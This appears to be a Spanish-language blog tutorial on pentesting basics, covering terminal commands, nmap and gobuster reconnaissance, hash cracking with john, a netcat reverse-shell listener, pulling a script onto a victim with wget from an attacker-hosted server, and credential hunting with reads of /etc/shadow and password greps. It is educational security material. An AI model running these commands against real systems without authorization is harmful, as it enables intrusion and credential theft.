Fundamentos del pentesting

Muchas de las técnicas utilizadas en pentesting parten de conceptos básicos que, bien entendidos, permiten avanzar de forma progresiva hacia escenarios más avanzados. Dominar estos fundamentos no solo facilita el aprendizaje, sino que también permite ejecutar pruebas de seguridad de manera estructurada y eficiente.

En este artículo se presenta un recorrido práctico por los pilares esenciales del pentesting, desde el manejo de la terminal hasta la obtención de acceso en un sistema, incluyendo ejemplos concretos que permiten entender cómo se aplican estos conceptos en situaciones reales.

La terminal como herramienta central

Antes de pensar en herramientas avanzadas, es fundamental sentirse cómodo en la línea de comandos. En entornos Linux, la terminal es el punto de partida de prácticamente cualquier actividad relacionada con seguridad.

Comandos simples como pwd, ls o cd permiten navegar por el sistema de archivos. Aunque parezcan básicos, son esenciales para ubicarse correctamente durante una prueba.

Por ejemplo, si estás analizando un sistema comprometido y necesitás verificar en qué directorio te encontrás, ejecutar:

pwd

te mostrará tu ubicación actual. Luego, con:

ls -la

podés listar todos los archivos, incluyendo los ocultos, lo cual es especialmente útil para detectar configuraciones sensibles o scripts ocultos.

Un caso práctico sería revisar el contenido de un directorio web:

cd /var/www/html
ls -la

Esto podría revelar archivos de configuración, backups olvidados o scripts vulnerables.

Comprendiendo usuarios y permisos

En Linux, todo gira en torno a los permisos. Saber quién sos dentro del sistema y qué podés hacer es clave.

El comando:

whoami

te indica el usuario actual, mientras que:

id

proporciona información más detallada sobre grupos y privilegios.

Un escenario común es encontrarse con errores de acceso, como “Permission denied”. En esos casos, es importante entender si se trata de una limitación real o si se puede escalar privilegios.

Por ejemplo, si ejecutás:

cat /etc/shadow

y obtenés un error, significa que no tenés permisos suficientes. Sin embargo, si podés ejecutar comandos con sudo, podrías intentar:

sudo cat /etc/shadow

Esto ya representa un cambio importante en el nivel de acceso.

Explorando la red

Una de las primeras fases de cualquier evaluación de seguridad es entender la red en la que se encuentra el objetivo.

Con comandos como:

ip a

podés identificar tu dirección IP y las interfaces de red disponibles.

Para verificar si un host está activo:

ping 192.168.1.1

Esto permite confirmar conectividad.

Un ejemplo práctico sería identificar dispositivos activos dentro de una red local. Si sabés que el rango es 192.168.1.0/24, podés automatizar la verificación de hosts activos y luego analizar cuáles responden.

Otro comando clave es:

ss -tulnp

que muestra puertos abiertos y procesos asociados. Esto es fundamental para identificar servicios que podrían ser atacados.

Reconocimiento con escaneo de puertos

El reconocimiento es una de las etapas más importantes del pentesting. Aquí es donde se identifican los servicios expuestos.

Un escaneo básico podría ser:

nmap 192.168.1.10

Esto revela qué puertos están abiertos.

Sin embargo, para obtener más información:

nmap -sC -sV 192.168.1.10

Esto permite identificar versiones de servicios y ejecutar scripts de detección.

Un ejemplo real:

Supongamos que el escaneo devuelve:

  • Puerto 22 abierto (SSH)
  • Puerto 80 abierto (HTTP)

Esto ya te da dos vectores de ataque posibles.

Si además detectás que el servidor web corre una versión específica de Apache, podés buscar vulnerabilidades asociadas a esa versión.

Enumeración web

Cuando se detecta un servidor web, comienza una fase clave: la enumeración.

Una técnica común es buscar directorios ocultos. Por ejemplo:

gobuster dir -u http://objetivo.com -w lista.txt

Esto permite descubrir rutas como:

  • /admin
  • /backup
  • /config

Un caso práctico sería encontrar un directorio /backup con archivos antiguos que contienen credenciales o código fuente.

Otra técnica útil es analizar las cabeceras HTTP:

curl -I http://objetivo.com

Esto puede revelar información sobre el servidor, como el tipo de tecnología utilizada.

También se pueden realizar peticiones específicas:

curl -X POST http://objetivo.com/login -d “user=admin&pass=admin”

Esto permite interactuar directamente con formularios.

Identificación de tecnologías y vulnerabilidades

Una vez identificado un servicio, el siguiente paso es determinar qué tecnologías utiliza.

Herramientas de fingerprinting permiten detectar si un sitio usa WordPress, Apache, Nginx, entre otros.

Por ejemplo, si descubrís que un sitio utiliza WordPress, podrías investigar vulnerabilidades conocidas para esa versión específica.

Además, existen escáneres que automatizan la detección de vulnerabilidades comunes, lo cual ayuda a priorizar ataques.

Búsqueda de exploits

Encontrar un servicio vulnerable es solo el comienzo. Luego hay que determinar si existe un exploit disponible.

Por ejemplo, si identificás un servidor con una versión específica, podés buscar exploits relacionados con esa versión.

Un caso práctico:

Si detectás Apache 2.4.49, podrías buscar si existe un exploit público asociado. Si lo hay, podrías adaptarlo para tu entorno de prueba.

Esto demuestra cómo el reconocimiento inicial se conecta directamente con la explotación.

Ataques de contraseñas

Otro vector común es el ataque a credenciales.

Si obtenés hashes, podés intentar descifrarlos usando diccionarios. Un ejemplo:

john –wordlist=rockyou.txt hash.txt

Esto intenta encontrar la contraseña original.

Un escenario típico sería encontrar un archivo con hashes de usuarios y luego intentar crackearlos para acceder al sistema.

También es posible atacar servicios directamente. Por ejemplo, si detectás un servidor SSH, podrías intentar autenticación con múltiples combinaciones de usuario y contraseña.

Obtención de acceso: shells

Una vez que se explota una vulnerabilidad, el objetivo es obtener acceso al sistema.

Una técnica común es establecer una conexión reversa.

Primero, en tu máquina:

nc -lvnp 4444

Luego, en el sistema objetivo, ejecutar un comando que se conecte de vuelta.

Esto te da una shell remota.

Un ejemplo práctico:

Si explotás una vulnerabilidad en un servidor web, podrías ejecutar código que establezca una conexión hacia tu máquina, permitiéndote interactuar con el sistema.

Mejora de la shell

Las shells obtenidas suelen ser limitadas. Por eso es importante mejorarlas.

Una técnica es usar Python para obtener una shell interactiva.

Esto permite ejecutar comandos de forma más cómoda y acceder a funcionalidades adicionales.

Transferencia de archivos

Durante un pentest, es común necesitar transferir herramientas al sistema objetivo.

Una forma sencilla es levantar un servidor HTTP local:

python -m http.server 8080

Y luego descargar el archivo desde la víctima:

wget http://TU_IP:8080/script.sh

Un caso práctico sería transferir un script de enumeración que automatice la búsqueda de vulnerabilidades internas.

Escalada de privilegios

Entrar en un sistema no es el objetivo final. Lo importante es obtener privilegios elevados.

Una técnica básica es verificar qué comandos se pueden ejecutar con privilegios:

sudo -l

También es útil buscar archivos con permisos especiales, como aquellos que se ejecutan con privilegios elevados.

Por ejemplo:

find / -perm -4000 -type f

Esto puede revelar binarios que pueden ser explotados.

Un caso real podría ser encontrar un binario mal configurado que permita ejecutar comandos como administrador.

Recolección de información interna

Una vez dentro del sistema, es fundamental recolectar información.

Buscar archivos con nombres interesantes:

find / -name “passwords.txt”

O buscar texto dentro de archivos:

grep -r “password” /var/www/

Esto puede revelar credenciales almacenadas en texto plano.

También es importante revisar el historial de comandos:

history

Esto podría mostrar comandos ejecutados por otros usuarios, incluyendo credenciales.

Importancia de la práctica

El aprendizaje en seguridad no se basa solo en teoría. La práctica es fundamental.

Existen entornos diseñados específicamente para entrenar habilidades de pentesting, donde es posible enfrentarse a sistemas vulnerables sin riesgos legales.

Practicar en estos entornos permite aplicar todos los conceptos mencionados y desarrollar un enfoque metodológico.

El pentesting no es una colección de trucos aislados, sino un proceso estructurado que combina conocimiento técnico, lógica y práctica constante. Desde navegar en la terminal hasta escalar privilegios, cada paso forma parte de una cadena que, bien ejecutada, permite evaluar la seguridad de un sistema de manera integral.

Dominar estos fundamentos no solo es el primer paso para convertirse en profesional de la seguridad, sino también una base sólida para comprender amenazas reales y diseñar mejores defensas.

La clave está en entender el porqué de cada acción, no solo el cómo.

Donaciones
STREAMER

Segui Nuestras Redes
  • LinkedIn17.3k+
  • Whatsapp1.7k+
  • TelegramNuevo

Advertisement

Cargando Siguiente Publicación...
Encontranos
Buscar Tendencia
Loading

Signing-in 3 seconds...

Signing-up 3 seconds...

Todos los campos son obligatorios.